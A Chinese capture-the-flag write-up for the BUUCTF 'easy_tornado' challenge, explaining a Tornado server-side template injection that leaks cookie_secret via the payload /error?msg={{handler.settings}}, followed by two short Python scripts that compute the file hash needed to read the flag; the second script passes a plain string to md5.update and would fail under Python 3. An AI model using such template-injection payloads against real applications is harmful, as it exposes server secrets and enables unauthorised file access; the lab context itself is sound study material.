BUUCTF easy_tornado WP

首先看到题目
在这里插入图片描述
分别点开
/flag.txt
/welcome.txt
/hints.txt
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
发现flag在/fllllllllllllag文件里

render是python中的一个渲染函数,渲染变量到模板中,即可以通过传递不同的参数形成不同的页面。

filehash=md5(cookie_secret+md5(filename))
现在filename=/fllllllllllllag,只需要知道cookie_secret的既能访问flag。

吧/fllllllllllllag输入到url中,结果出现了
在这里插入图片描述
看了大哥们的wp,发现是模块注入
服务端模块注入攻击(SSTI)
然后根据大佬的思路,继续往下,尝试/error?msg={{datetime}}
在Tornado的前端页面模板中,datetime是指向python中datetime这个模块,Tornado提供了一些对象别名来快速访问对象,可以参考Tornado官方文档
在这里插入图片描述
通过查阅文档发现cookie_secret在Application对象settings属性中,还发现self.application.settings有一个别名

RequestHandler.settings
An alias for self.application.settings.

handler指向的处理当前这个页面的RequestHandler对象,
RequestHandler.settings指向self.application.settings,
因此handler.settings指向RequestHandler.application.settings。

构造payload获取cookie_secret

/error?msg={{handler.settings}}

在这里插入图片描述
这是其中一个大佬的exp

import hashlib
 
def md5value(s):
    md5 = hashlib.md5() 
    md5.update(s) 
    return md5.hexdigest()
 
def jiami(): 
    filename = '/fllllllllllllag'
    cookie_s ="9cb407f6-56a4-47b5-a0dc-e7222f37b2bd"
    print(md5value(filename.encode('utf-8')))
    x=md5value(filename.encode('utf-8'))
    y=cookie_s+x
    print(md5value(y.encode('utf-8')))
 
 
jiami()
import hashlib

def md5(s):
 md5 = hashlib.md5() 
 md5.update(s) 
 return md5.hexdigest()
 
def filehash():
 filename = '/fllllllllllllag'
 cookie_secret = '9cb407f6-56a4-47b5-a0dc-e7222f37b2bd'
 print(md5(cookie_secret+md5(filename)))
 
if __name__ == '__main__':
 filehash()

得到的filehash为
在这里插入图片描述
得到flag
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值